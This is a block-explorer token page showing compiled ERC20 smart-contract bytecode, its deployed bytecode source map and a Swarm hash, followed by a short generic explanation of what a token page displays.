083811015610e875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a3565b6000610e8783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d2e565b61111882826104686009600a611426565b600081836111ef5760405162461bcd60e51b81526004016103a391906111fc565b506000610d5f8486611506565b600060208083528351808285015260005b818110156112295785810183015185820160400152820161120d565b8181111561123b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461126657600080fd5b50565b6000806040838503121561127c57600080fd5b823561128781611251565b946020939093013593505050565b6000806000606084860312156112aa57600080fd5b83356112b581611251565b925060208401356112c581611251565b929592945050506040919091013590565b6000602082840312156112e857600080fd5b8135610e8781611251565b6000806040838503121561130657600080fd5b823561131181611251565b9150602083013561132181611251565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561137d5781600019048211156113635761136361132c565b8085161561137057918102915b93841c9390800290611347565b509250929050565b600082611394575060016102e9565b816113a1575060006102e9565b81600181146113b757600281146113c1576113dd565b60019150506102e9565b60ff8411156113d2576113d261132c565b50506001821b6102e9565b5060208310610133831016604e8410600b8410161715611400575081810a6102e9565b61140a8383611342565b806000190482111561141e5761141e61132c565b029392505050565b6000610e8760ff841683611385565b600081600019048311821515161561144f5761144f61132c565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561149b57600080fd5b8151610e8781611251565b6000806000606084860312156114bb57600080fd5b8351925060208401519150604084015190509250925092565b60006000198214156114e8576114e861132c565b5060010190565b6000828210156115015761150161132c565b500390565b60008261152357634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561158e5784516001600160a01b031683529383019391830191600101611569565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156115c2576115c261132c565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220360514200d77c2019b7108ea97a6ae10a90e6c868df34a55224e94159bbbbccf64736f6c634300080a0033
Deployed Bytecode Sourcemap
3798:6809:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6099:83;;;;;;;;;;-1:-1:-1;6169:5:0;;;;;;;;;;;;-1:-1:-1;;;6169:5:0;;;;6099:83;;;;;;;:::i;:::-;;;;;;;;6935:161;;;;;;;;;;-1:-1:-1;6935:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;6935:161:0;1072:187:1;6376:98:0;;;;;;;;;;;;;:::i;:::-;;;1410:25:1;;;1398:2;1383:18;6376:98:0;1264:177:1;7104:314:0;;;;;;;;;;-1:-1:-1;7104:314:0;;;;;:::i;:::-;;:::i;6285:83::-;;;;;;;;;;-1:-1:-1;6285:83:0;;4151:1;2049:36:1;;2037:2;2022:18;6285:83:0;1907:184:1;6482:119:0;;;;;;;;;;-1:-1:-1;6482:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6575:18:0;6548:7;6575:18;;;:9;:18;;;;;;;6482:119;3641:148;;;;;;;;;;;;;:::i;:::-;;3427:79;;;;;;;;;;-1:-1:-1;3465:7:0;3492:6;3427:79;;-1:-1:-1;;;;;3492:6:0;;;2494:51:1;;2482:2;2467:18;3427:79:0;2348:203:1;6190:87:0;;;;;;;;;;-1:-1:-1;6262:7:0;;;;;;;;;;;;-1:-1:-1;;;6262:7:0;;;;6190:87;;6609:167;;;;;;;;;;-1:-1:-1;6609:167:0;;;;;:::i;:::-;;:::i;5395:380::-;;;;;;;;;;;;;:::i;5783:308::-;;;;;;;;;;;;;:::i;6784:143::-;;;;;;;;;;-1:-1:-1;6784:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6892:18:0;;;6865:7;6892:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6784:143;6935:161;7010:4;7027:39;2407:10;7050:7;7059:6;7027:8;:39::i;:::-;-1:-1:-1;7084:4:0;6935:161;;;;;:::o;6376:98::-;6429:7;4210:13;4151:1;4210:2;:13;:::i;:::-;4197:26;;:10;:26;:::i;:::-;6449:17;;6376:98;:::o;7104:314::-;7202:4;7219:36;7229:6;7237:9;7248:6;7219:9;:36::i;:::-;7267:121;7276:6;2407:10;7298:89;7336:6;7298:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7298:19:0;;;;;;:11;:19;;;;;;;;2407:10;7298:33;;;;;;;;;;:37;:89::i;:::-;7267:8;:121::i;:::-;-1:-1:-1;7406:4:0;7104:314;;;;;:::o;3641:148::-;3554:6;;-1:-1:-1;;;;;3554:6:0;2407:10;3554:22;3546:67;;;;-1:-1:-1;;;3546:67:0;;;;;;;:::i;:::-;;;;;;;;;3748:1:::1;3732:6:::0;;3711:40:::1;::::0;-1:-1:-1;;;;;3732:6:0;;::::1;::::0;3711:40:::1;::::0;3748:1;;3711:40:::1;3779:1;3762:19:::0;;-1:-1:-1;;;;;;3762:19:0::1;::::0;;3641:148::o;6609:167::-;6687:4;6704:42;2407:10;6728:9;6739:6;6704:9;:42::i;5395:380::-;3554:6;;-1:-1:-1;;;;;3554:6:0;2407:10;3554:22;3546:67;;;;-1:-1:-1;;;3546:67:0;;;;;;;:::i;:::-;5442:10:::1;:67:::0;;-1:-1:-1;;;;;;5442:67:0::1;5466:42;5442:67:::0;;::::1;::::0;;;5520:56:::1;::::0;5537:4:::1;::::0;4210:13:::1;4151:1;4210:2;:13;:::i;:::-;4197:26;::::0;:10:::1;:26;:::i;5520:56::-;5610:10;;;;;;;;;-1:-1:-1::0;;;;;5610:10:0::1;-1:-1:-1::0;;;;;5610:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5598:44:0::1;;5651:4;5658:10;;;;;;;;;-1:-1:-1::0;;;;;5658:10:0::1;-1:-1:-1::0;;;;;5658:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5598:78;::::0;-1:-1:-1;;;;;;5598:78:0::1;::::0;;;;;;-1:-1:-1;;;;;5484:15:1;;;5598:78:0::1;::::0;::::1;5466:34:1::0;5536:15;;5516:18;;;5509:43;5401:18;;5598:78:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5587:8;:89:::0;;-1:-1:-1;;;;;5587:89:0;;::::1;-1:-1:-1::0;;;;;;5587:89:0;;::::1;;::::0;;;5712:10:::1;::::0;5587:8:::1;5687:14:::0;;:11:::1;:14;::::0;;:36;;;;::::1;5712:10:::0;::::1;5687:36:::0;;;::::1;::::0;;5759:7:::1;3465::::0;3492:6;-1:-1:-1;;;;;3492:6:0;;3427:79;5759:7:::1;5746:1;5734:14;::::0;:11:::1;:14;::::0;;:33;;-1:-1:-1;;;;;;5734:33:0::1;-1:-1:-1::0;;;;;5734:33:0;;;::::1;::::0;;;::::1;::::0;;5395:380::o;5783:308::-;3554:6;;-1:-1:-1;;;;;3554:6:0;2407:10;3554:22;3546:67;;;;-1:-1:-1;;;3546:67:0;;;;;;;:::i;:::-;5847:13:::1;::::0;-1:-1:-1;;;5847:13:0;::::1;;;5846:14;5838:49;;;::::0;-1:-1:-1;;;5838:49:0;;5765:2:1;5838:49:0::1;::::0;::::1;5747:21:1::0;5804:2;5784:18;;;5777:30;5843:25;5823:18;;;5816:53;5886:18;;5838:49:0::1;5563:347:1::0;5838:49:0::1;5898:10;::::0;-1:-1:-1;;;;;5898:10:0::1;:26;5932:21;5963:4;5969:24;5963:4:::0;-1:-1:-1;;;;;6575:18:0;6548:7;6575:18;;;:9;:18;;;;;;;6482:119;5969:24:::1;5994:1;5996::::0;5998:7:::1;3465::::0;3492:6;-1:-1:-1;;;;;3492:6:0;;3427:79;5998:7:::1;5898:124;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5898:124:0;;;-1:-1:-1;;;;;6274:15:1;;;5898:124:0::1;::::0;::::1;6256:34:1::0;6306:18;;;6299:34;;;;6349:18;;;6342:34;;;;6392:18;;;6385:34;6456:15;;;6435:19;;;6428:44;6006:15:0::1;6488:19:1::0;;;6481:35;6190:19;;5898:124:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6033:12:0::1;:19:::0;;-1:-1:-1;;;;6063:20:0;-1:-1:-1;;;6063:20:0;;;-1:-1:-1;5783:308:0:o;7426:335::-;-1:-1:-1;;;;;7519:19:0;;7511:68;;;;-1:-1:-1;;;7511:68:0;;7040:2:1;7511:68:0;;;7022:21:1;7079:2;7059:18;;;7052:30;7118:34;7098:18;;;7091:62;-1:-1:-1;;;7169:18:1;;;7162:34;7213:19;;7511:68:0;6838:400:1;7511:68:0;-1:-1:-1;;;;;7598:21:0;;7590:68;;;;-1:-1:-1;;;7590:68:0;;7445:2:1;7590:68:0;;;7427:21:1;7484:2;7464:18;;;7457:30;7523:34;7503:18;;;7496:62;-1:-1:-1;;;7574:18:1;;;7567:32;7616:19;;7590:68:0;7243:398:1;7590:68:0;-1:-1:-1;;;;;7669:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7721:32;;1410:25:1;;;7721:32:0;;1383:18:1;7721:32:0;;;;;;;7426:335;;;:::o;7769:1697::-;-1:-1:-1;;;;;7860:19:0;;7852:69;;;;-1:-1:-1;;;7852:69:0;;7848:2:1;7852:69:0;;;7830:21:1;7887:2;7867:18;;;7860:30;7926:34;7906:18;;;7899:62;-1:-1:-1;;;7977:18:1;;;7970:35;8022:19;;7852:69:0;7646:401:1;7852:69:0;-1:-1:-1;;;;;7940:19:0;;7932:67;;;;-1:-1:-1;;;7932:67:0;;8254:2:1;7932:67:0;;;8236:21:1;8293:2;8273:18;;;8266:30;8332:34;8312:18;;;8305:62;-1:-1:-1;;;8383:18:1;;;8376:33;8426:19;;7932:67:0;8052:399:1;7932:67:0;8026:1;8018:5;:9;8010:63;;;;-1:-1:-1;;;8010:63:0;;8658:2:1;8010:63:0;;;8640:21:1;8697:2;8677:18;;;8670:30;8736:34;8716:18;;;8709:62;-1:-1:-1;;;8787:18:1;;;8780:39;8836:19;;8010:63:0;8456:405:1;8010:63:0;8086:15;8118:23;8128:5;8135;8118:9;:23::i;:::-;8114:985;;;8168:75;8239:3;8168:66;8189:15;;8179:9;;:25;8178:55;;8219:14;;8178:55;;;8206:12;;8178:55;8168:5;;:9;:66::i;:::-;:70;;:75::i;:::-;8273:8;;8158:85;;-1:-1:-1;;;;;;8264:17:0;;;8273:8;;8264:17;:49;;;;-1:-1:-1;8302:10:0;;-1:-1:-1;;;;;8285:28:0;;;8302:10;;8285:28;;8264:49;:76;;;;-1:-1:-1;;;;;;8319:21:0;;;;;;:14;:21;;;;;;;;8317:23;8264:76;8260:128;;;8361:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8260:128;8416:8;;-1:-1:-1;;;;;8407:17:0;;;8416:8;;8407:17;:42;;;;-1:-1:-1;;;;;;8428:21:0;;8444:4;8428:21;;8407:42;8404:170;;;8480:78;8554:3;8480:69;8501:16;;8491:9;;:26;8490:58;;8533:15;;8490:58;;;8519:13;;8480:5;;:9;:69::i;:78::-;8470:88;;8404:170;8631:4;8590:20;6575:18;;;:9;:18;;;;;;8658:10;;-1:-1:-1;;;8658:10:0;;;;8657:11;:32;;;;-1:-1:-1;8681:8:0;;-1:-1:-1;;;;;8672:17:0;;;8681:8;;8672:17;8657:32;:48;;;;-1:-1:-1;8693:12:0;;-1:-1:-1;;;8693:12:0;;;;8657:48;:82;;;;;8721:18;;8709:9;;:30;8657:82;8653:435;;;8778:14;;8763:12;:29;8760:120;;;8811:69;8828:51;8835:5;8842:36;8849:12;8863:14;;8842:6;:36::i;:::-;8828:6;:51::i;:::-;8811:16;:69::i;:::-;8928:21;9020:33;9031:21;9020:10;:33::i;:::-;8741:347;8653:435;8143:956;8114:985;9114:11;;9111:161;;9184:4;9166:24;;;;:9;:24;;;;;;:37;;9195:7;9166:28;:37::i;:::-;9157:4;9139:24;;;;:9;:24;;;;;;;:64;;;;9221:39;;-1:-1:-1;;;;;9221:39:0;;;;;;;9252:7;1410:25:1;;1398:2;1383:18;;1264:177;9221:39:0;;;;;;;;9111:161;-1:-1:-1;;;;;9303:16:0;;;;;;:9;:16;;;;;;:27;;9324:5;9303:20;:27::i;:::-;-1:-1:-1;;;;;9284:16:0;;;;;;:9;:16;;;;;:46;9360:40;9381:18;:5;9391:7;9381:9;:18::i;:::-;-1:-1:-1;;;;;9360:16:0;;;;;;:9;:16;;;;;;;:20;:40::i;:::-;-1:-1:-1;;;;;9341:16:0;;;;;;;:9;:16;;;;;:59;;;;9416:42;;;9439:18;:5;9449:7;9439:9;:18::i;:::-;9416:42;;1410:25:1;;;1398:2;1383:18;9416:42:0;;;;;;;7841:1625;7769:1697;;;:::o;758:190::-;844:7;880:12;872:6;;;;864:29;;;;-1:-1:-1;;;864:29:0;;;;;;;;:::i;:::-;-1:-1:-1;904:9:0;916:5;920:1;916;:5;:::i;:::-;904:17;758:190;-1:-1:-1;;;;;758:190:0:o;9806:322::-;9871:4;9892:14;;;:11;:14;;;;-1:-1:-1;;;;;9892:14:0;:28;9889:76;;9950:14;;;:11;:14;;;;9935:30;;9943:5;;-1:-1:-1;;;;;9950:14:0;9935:7;:30::i;:::-;9991:1;10005;9979:14;:11;:14;;;;-1:-1:-1;;;;;9979:14:0;:28;9976:76;;10049:1;10037:14;;:11;:14;;;;10022:30;;10030:5;;-1:-1:-1;;;;;10037:14:0;10022:7;:30::i;:::-;3465:7;3492:6;-1:-1:-1;;;;;10070:16:0;;;3492:6;;10070:16;;;;:50;;-1:-1:-1;3465:7:0;3492:6;-1:-1:-1;;;;;10104:16:0;;;3492:6;;10104:16;;10070:50;10063:57;9806:322;-1:-1:-1;;;9806:322:0:o;956:246::-;1014:7;1038:6;1034:47;;-1:-1:-1;1068:1:0;1061:8;;1034:47;1091:9;1103:5;1107:1;1103;:5;:::i;:::-;1091:17;-1:-1:-1;1136:1:0;1127:5;1131:1;1091:17;1127:5;:::i;:::-;:10;1119:56;;;;-1:-1:-1;;;1119:56:0;;9560:2:1;1119:56:0;;;9542:21:1;9599:2;9579:18;;;9572:30;9638:34;9618:18;;;9611:62;-1:-1:-1;;;9689:18:1;;;9682:31;9730:19;;1119:56:0;9358:397:1;1210:132:0;1268:7;1295:39;1299:1;1302;1295:39;;;;;;;;;;;;;;;;;:3;:39::i;9589:102::-;9649:7;9677:1;9675;:3;9674:9;;9682:1;9674:9;;;-1:-1:-1;9680:1:0;9589:102;-1:-1:-1;9589:102:0:o;10136:468::-;4939:10;:17;;-1:-1:-1;;;;4939:17:0;-1:-1:-1;;;4939:17:0;;;10238:16:::1;::::0;;10252:1:::1;10238:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10238:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10238:16:0::1;10214:40;;10283:4;10265;10270:1;10265:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10265:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10309:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;10309:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;10265:7;;10309:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10299:4;10304:1;10299:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10299:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;10369:10:::1;::::0;10337:57:::1;::::0;10354:4:::1;::::0;10369:10:::1;10382:11:::0;10337:8:::1;:57::i;:::-;10405:10;::::0;:191:::1;::::0;-1:-1:-1;;;10405:191:0;;-1:-1:-1;;;;;10405:10:0;;::::1;::::0;:61:::1;::::0;:191:::1;::::0;10481:11;;10405:10:::1;::::0;10523:4;;10550::::1;::::0;10570:15:::1;::::0;10405:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4979:10:0;:18;;-1:-1:-1;;;;4979:18:0;;;-1:-1:-1;;;;10136:468:0:o;9699:99::-;9762:10;;9754:36;;-1:-1:-1;;;;;9762:10:0;;;;9754:36;;;;;9783:6;;9762:10;9754:36;9762:10;9754:36;9783:6;9762:10;9754:36;;;;;;;;;;;;;;;;;;;;;9699:99;:::o;427:179::-;485:7;;517:5;521:1;517;:5;:::i;:::-;505:17;;546:1;541;:6;;533:46;;;;-1:-1:-1;;;533:46:0;;11344:2:1;533:46:0;;;11326:21:1;11383:2;11363:18;;;11356:30;11422:29;11402:18;;;11395:57;11469:18;;533:46:0;11142:351:1;614:136:0;672:7;699:43;703:1;706;699:43;;;;;;;;;;;;;;;;;:3;:43::i;9474:107::-;9539:34;9548:5;9555;4210:13;4151:1;4210:2;:13;:::i;1350:189::-;1436:7;1471:12;1464:5;1456:28;;;;-1:-1:-1;;;1456:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1495:9:0;1507:5;1511:1;1507;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:315::-;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;2096:247::-;2155:6;2208:2;2196:9;2187:7;2183:23;2179:32;2176:52;;;2224:1;2221;2214:12;2176:52;2263:9;2250:23;2282:31;2307:5;2282:31;:::i;2556:388::-;2624:6;2632;2685:2;2673:9;2664:7;2660:23;2656:32;2653:52;;;2701:1;2698;2691:12;2653:52;2740:9;2727:23;2759:31;2784:5;2759:31;:::i;:::-;2809:5;-1:-1:-1;2866:2:1;2851:18;;2838:32;2879:33;2838:32;2879:33;:::i;:::-;2931:7;2921:17;;;2556:388;;;;;:::o;2949:127::-;3010:10;3005:3;3001:20;2998:1;2991:31;3041:4;3038:1;3031:15;3065:4;3062:1;3055:15;3081:422;3170:1;3213:5;3170:1;3227:270;3248:7;3238:8;3235:21;3227:270;;;3307:4;3303:1;3299:6;3295:17;3289:4;3286:27;3283:53;;;3316:18;;:::i;:::-;3366:7;3356:8;3352:22;3349:55;;;3386:16;;;;3349:55;3465:22;;;;3425:15;;;;3227:270;;;3231:3;3081:422;;;;;:::o;3508:806::-;3557:5;3587:8;3577:80;;-1:-1:-1;3628:1:1;3642:5;;3577:80;3676:4;3666:76;;-1:-1:-1;3713:1:1;3727:5;;3666:76;3758:4;3776:1;3771:59;;;;3844:1;3839:130;;;;3751:218;;3771:59;3801:1;3792:10;;3815:5;;;3839:130;3876:3;3866:8;3863:17;3860:43;;;3883:18;;:::i;:::-;-1:-1:-1;;3939:1:1;3925:16;;3954:5;;3751:218;;4053:2;4043:8;4040:16;4034:3;4028:4;4025:13;4021:36;4015:2;4005:8;4002:16;3997:2;3991:4;3988:12;3984:35;3981:77;3978:159;;;-1:-1:-1;4090:19:1;;;4122:5;;3978:159;4169:34;4194:8;4188:4;4169:34;:::i;:::-;4239:6;4235:1;4231:6;4227:19;4218:7;4215:32;4212:58;;;4250:18;;:::i;:::-;4288:20;;3508:806;-1:-1:-1;;;3508:806:1:o;4319:140::-;4377:5;4406:47;4447:4;4437:8;4433:19;4427:4;4406:47;:::i;4464:168::-;4504:7;4570:1;4566;4562:6;4558:14;4555:1;4552:21;4547:1;4540:9;4533:17;4529:45;4526:71;;;4577:18;;:::i;:::-;-1:-1:-1;4617:9:1;;4464:168::o;4637:356::-;4839:2;4821:21;;;4858:18;;;4851:30;4917:34;4912:2;4897:18;;4890:62;4984:2;4969:18;;4637:356::o;4998:251::-;5068:6;5121:2;5109:9;5100:7;5096:23;5092:32;5089:52;;;5137:1;5134;5127:12;5089:52;5169:9;5163:16;5188:31;5213:5;5188:31;:::i;6527:306::-;6615:6;6623;6631;6684:2;6672:9;6663:7;6659:23;6655:32;6652:52;;;6700:1;6697;6690:12;6652:52;6729:9;6723:16;6713:26;;6779:2;6768:9;6764:18;6758:25;6748:35;;6823:2;6812:9;6808:18;6802:25;6792:35;;6527:306;;;;;:::o;8866:135::-;8905:3;-1:-1:-1;;8926:17:1;;8923:43;;;8946:18;;:::i;:::-;-1:-1:-1;8993:1:1;8982:13;;8866:135::o;9006:125::-;9046:4;9074:1;9071;9068:8;9065:34;;;9079:18;;:::i;:::-;-1:-1:-1;9116:9:1;;9006:125::o;9136:217::-;9176:1;9202;9192:132;;9246:10;9241:3;9237:20;9234:1;9227:31;9281:4;9278:1;9271:15;9309:4;9306:1;9299:15;9192:132;-1:-1:-1;9338:9:1;;9136:217::o;9892:127::-;9953:10;9948:3;9944:20;9941:1;9934:31;9984:4;9981:1;9974:15;10008:4;10005:1;9998:15;10024:980;10286:4;10334:3;10323:9;10319:19;10365:6;10354:9;10347:25;10391:2;10429:6;10424:2;10413:9;10409:18;10402:34;10472:3;10467:2;10456:9;10452:18;10445:31;10496:6;10531;10525:13;10562:6;10554;10547:22;10600:3;10589:9;10585:19;10578:26;;10639:2;10631:6;10627:15;10613:29;;10660:1;10670:195;10684:6;10681:1;10678:13;10670:195;;;10749:13;;-1:-1:-1;;;;;10745:39:1;10733:52;;10840:15;;;;10805:12;;;;10781:1;10699:9;10670:195;;;-1:-1:-1;;;;;;;10921:32:1;;;;10916:2;10901:18;;10894:60;-1:-1:-1;;;10985:3:1;10970:19;10963:35;10882:3;10024:980;-1:-1:-1;;;10024:980:1:o;11009:128::-;11049:3;11080:1;11076:6;11073:1;11070:13;11067:39;;;11086:18;;:::i;:::-;-1:-1:-1;11122:9:1;;11009:128::o
Swarm Source
ipfs://360514200d77c2019b7108ea97a6ae10a90e6c868df34a55224e94159bbbbccf
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.